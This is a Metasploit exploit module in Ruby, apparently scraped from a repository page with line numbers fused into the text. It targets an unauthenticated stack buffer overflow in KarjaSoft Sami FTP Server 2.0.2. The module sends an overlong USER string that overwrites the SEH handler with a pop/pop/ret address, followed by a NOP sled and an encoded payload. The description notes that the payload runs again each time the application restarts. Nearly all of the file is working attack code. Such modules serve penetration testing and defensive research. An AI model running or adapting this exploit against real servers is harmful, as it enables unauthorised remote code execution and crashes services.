Path: blob/master/modules/exploits/windows/ftp/sami_ftpd_user.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh10prepend Msf::Exploit::Remote::AutoCheck1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'KarjaSoft Sami FTP Server v2.0.2 USER Overflow',17'Description' => %q{18This module exploits an unauthenticated stack buffer overflow in19KarjaSoft Sami FTP Server version 2.0.2 by sending an overly long20USER string during login.2122The payload is triggered when the administrator opens the application23GUI. If the GUI window is open at the time of exploitation, the24payload will be executed immediately. Keep this in mind when selecting25payloads. The application will crash following execution of the26payload and will not restart automatically.2728When the application is restarted, it will re-execute the payload29unless the payload has been manually removed from the SamiFTP.binlog30log file.3132This module has been tested successfully on Sami FTP Server versions:332.0.2 on Windows XP SP0 (x86);342.0.2 on Windows 7 SP1 (x86);352.0.2 on Windows 7 SP1 (x64); and362.0.2 on Windows 10 (1909) (x64).37},38'Author' => [39'Muhammad Ahmed Siddiqui', # Discovery40'Critical Security', # Perl exploit41'n30m1nd', # Python exploit - SEH overwrite with 2.0.2 universal tmp01.dll p/p/r42'aushack', # Metasploit43'bcoles' # Metasploit44],45'Arch' => [ ARCH_X86 ],46'License' => MSF_LICENSE,47'References' => [48# This vulnerability appears to have been reported multiple times.49['CVE', '2006-0441'],50['CVE', '2006-2212'],51['OSVDB', '25670'],52['BID', '16370'],53['BID', '22045'],54['BID', '17835'],55['EDB', '1448'],56['EDB', '1452'],57['EDB', '1462'],58['EDB', '3127'],59['EDB', '3140'],60['EDB', '40675']61],62'DefaultOptions' => {63'EXITFUNC' => 'seh'64},65'Platform' => ['win'],66'Privileged' => false,67'Payload' => {68'Space' => 800,69'BadChars' => "\x00\x0a\x0d\x20\xff",70'EncoderType' => Msf::Encoder::Type::AlphanumMixed71},72'Targets' => [73['Sami FTP Server version 2.0.2', { 'Ret' => 0x10022ADE }], # p/p/r tmp01.dll74],75'Notes' => {76'Stability' => [ CRASH_SERVICE_DOWN ],77'Reliability' => UNKNOWN_RELIABILITY,78'SideEffects' => UNKNOWN_SIDE_EFFECTS79},80'DisclosureDate' => '2006-01-24'81)82)8384register_options([85Opt::RPORT(21)86])87end8889def check90connect91banner = sock.get_once(-1, 3)92disconnect9394unless banner.include?('Sami FTP Server')95return CheckCode::Safe('Target is not Sami FTP Server')96end9798if banner.include?('Sami FTP Server 2.0.2')99return CheckCode::Appears('Sami FTP Server version 2.0.2.')100end101102CheckCode::Detected103end104105def exploit106connect107108nseh = "\xeb\x06"109nseh << rand_text_alpha(2)110seh = [target.ret].pack('V')111112user = rand_text_alpha(596)113user << nseh114user << seh115user << "\x90" * 10116user << payload.encoded117user << "\x90" * (800 - payload.encoded.length)118119print_status("Sending payload (#{user.length} bytes) ...")120sock.put("USER #{user}\r\n")121sock.recv(4096)122123sock.put("PASS #{Rex::Text.rand_char(payload_badchars)}\r\n")124sock.recv(4096)125126handler127disconnect128end129end130131132